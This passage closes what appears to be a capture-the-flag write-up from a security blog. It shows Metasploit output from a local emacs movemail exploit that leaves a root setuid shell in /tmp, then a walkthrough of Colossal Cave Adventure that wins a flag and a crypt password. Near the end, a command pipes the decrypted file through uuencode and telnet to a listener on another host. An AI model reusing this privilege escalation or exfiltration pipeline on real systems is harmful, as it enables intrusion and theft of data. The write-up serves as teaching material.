* * * * * root rm -f /usr/lib/crontab.local
[*] Creating writable /usr/lib/crontab.local
[+] Writing crontab to /usr/lib/crontab.local
[!] Please wait at least one minute for effect
[*] Exploit completed, but no session was created.
msf5 exploit(unix/local/emacs_movemail) > sessions -1
[*] Starting interaction with 1...
ls -l /tmp/sh
-rwsr-xr-x 1 root 23552 Dec 18 11:36 /tmp/sh
/tmp/sh
whoami
root
/usr/games/adventure
Welcome to adventure!! Would you like instructions?
no
You are standing at the end of a road before a small brick building.
Around you is a forest. A small stream flows out of the building and
down a gully.
enter building
You are inside a building, a well house for a large spring.
There are some keys on the ground here.
There is a shiny brass lamp nearby.
There is food here.
There is a bottle of water here.
take keys
OK
take lamp
OK
leave
You're at end of road again.
go south
You are in a valley in the forest beside a stream tumbling along a
rocky bed.
go south
At your feet all the water of the stream splashes into a 2-inch slit
in the rock. Downstream the streambed is bare rock.
go south
You are in a 20-foot depression floored with bare dirt. Set into the
dirt is a strong steel grate mounted in concrete. A dry streambed
leads into the depression.
The grate is locked.
unlock grate
The grate is now unlocked.
enter
You are in a small chamber beneath a 3x3 steel grate to the surface.
A low crawl over cobbles leads inward to the west.
The grate is open.
go west
You are crawling over cobbles in a low passage. There is a dim light
at the east end of the passage.
There is a small wicker cage discarded nearby.
take cage
OK
go west
It is now pitch dark. If you proceed you will likely fall into a pit.
light lamp
Your lamp is now on.
You are in a debris room filled with stuff washed in from the surface.
A low wide passage with cobbles becomes plugged with mud and debris
here, but an awkward canyon leads upward and west. A note on the wall
says "magic word xyzzy".
A three foot black rod with a rusty star on an end lies nearby.
go west
You are in an awkward sloping east/west canyon.
go west
You are in a splendid chamber thirty feet high. The walls are frozen
rivers of orange stone. An awkward canyon and a good passage exit
From east and west sides of the chamber.
A cheerful little bird is sitting here singing.
catch bird
OK
go west
At your feet is a small pit breathing traces of white mist. An east
passage ends here except for a small crack leading on.
Rough stone steps lead down the pit.
go down
You are at one end of a vast hall stretching forward out of sight to
the west. There are openings to either side. Nearby, a wide stone
staircase leads downward. The hall is filled with wisps of white mist
swaying to and fro almost as if alive. A cold wind blows up the
staircase. There is a passage at the top of a dome behind you.
Rough stone steps lead up the dome.
go down
You are in the hall of the mountain king, with passages off in all
directions.
A huge green fierce snake bars the way!
release bird
The little bird attacks the green snake, and in an astounding flurry
drives the snake away.
go sw
You are in a secret canyon which here runs e/w. It crosses over a
very tight canyon 15 feet below. If you go down you may not be able
to get back up.
go west
You are in a secret canyon which exits to the north and east.
A huge green fierce dragon bars the way!
The dragon is sprawled out on a persian rug!!
kill dragon
With what? Your bare hands?
yes
Congratulations! You have just vanquished a dragon with your bare
Hands! (unbelievable, isn't it?)
You are in a secret canyon which exits to the north and east.
There is a persian rug spread out on the floor!
The body of a huge green dead dragon is lying off to one side.
There is a flag here.
take flag
OK
inventory
You are currently holding the following:
Set of keys
Brass lantern
Wicker cage
2 of Diamonds
go east
A little dwarf just walked around a corner, saw you, threw a little
axe at you which missed, cursed, and ran away.
You're in secret e/w canyon above tight canyon.
There is a little axe here.
take axe
OK
go east
There is a threatening little dwarf in the room with you!
One sharp nasty knife is thrown at you!
It misses!
You're in hall of mt king.
A cheerful little bird is sitting here singing.
throw axe at dwarf
You killed a little dwarf. The body vanishes in a cloud of greasy
black smoke.
You're in hall of mt king.
There is a little axe here.
A cheerful little bird is sitting here singing.
go up
You're in hall of mists.
Rough stone steps lead up the dome.
go up
You're at top of small pit.
Rough stone steps lead down the pit.
go east
You're in bird chamber.
go east
You are in an awkward sloping east/west canyon.
go east
You're in debris room.
A three foot black rod with a rusty star on an end lies nearby.
xyzzy
You're inside building.
There is food here.
There is a bottle of water here.
drop flag
Congratulations! You have completed the 2 of Diamonds challenge.
The crypt(1) password for 2_of_diamonds.dat is `wyvern'.
A large cloud of green smoke appears in front of you. It clears away
to reveal a tall wizard, clothed in grey. He fixes you with a steely
glare and declares, "this adventure has lasted too long." With that
he makes a single pass over you with his hands, and everything around
You fades away into a grey nothingness.
You scored 65 out of a possible 366 using 36 turns.
Your score qualifies you as a novice class adventurer.
To achieve the next higher rating, you need 36 more points.
crypt wyvern < /usr/games/lib/2_of_diamonds.dat | uuencode 2_of_diamonds.png | telnet 192.168.1.3 4444
Trying...
Connected to 192.168.1.3.
Escape character is '^]'.
Connection closed by foreign host.
And an outsider would never guess our secret password, "wyvern"—how many people would think of a mythological winged dragon when guessing our password?
wvu@kharak:~$ ncat -lv 4444 | uudecode
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.1.3.
Ncat: Connection from 192.168.1.3:49444.
write: Broken pipe
wvu@kharak:~$ ls -l 2_of_diamonds.png
---------- 1 wvu 2075806812 131776 Dec 18 13:44 2_of_diamonds.png
wvu@kharak:~$ chmod 644 2_of_diamonds.png
wvu@kharak:~$ file 2_of_diamonds.png
2_of_diamonds.png: PNG image data, 500 x 700, 8-bit/color RGBA, non-interlaced
wvu@kharak:~$ pngcheck -cv 2_of_diamonds.png
File: 2_of_diamonds.png (131776 bytes)
chunk IHDR at offset 0x0000c, length 13
500 x 700 image, 32-bit RGB+alpha, non-interlaced
chunk pHYs at offset 0x00025, length 9: 2835x2835 pixels/meter (72 dpi)
chunk sRGB at offset 0x0003a, length 1
rendering intent = perceptual
chunk gAMA at offset 0x00047, length 4: 0.45455
chunk IDAT at offset 0x00057, length 131669
zlib: deflated, 32K window, superfast compression
chunk IEND at offset 0x202b8, length 0
No errors detected in 2_of_diamonds.png (6 chunks, 90.6% compression).
wvu@kharak:~$ md5 2_of_diamonds.png
MD5 (2_of_diamonds.png) = 46ff82c72e7491a451fef2e335dcb912
wvu@kharak:~$
The worm turns, 30 years later
I hope you enjoyed this trip down memory lane with a little binary exploitation and shell trickery thrown in. Hopefully you were able to play along, too. While the system and and its software may not be relevant today, much of the same technical skill is relevant, especially for those new to the field.
The modules are available in the tree for your perusal and edification. Patches welcome! I'd love to write an encoder or even "invent" ROP, but maybe that's for someone more ambitious. This was just a side project, after all. Back to the present!
Happy birthday, Morris worm! And happy HaXmas to all!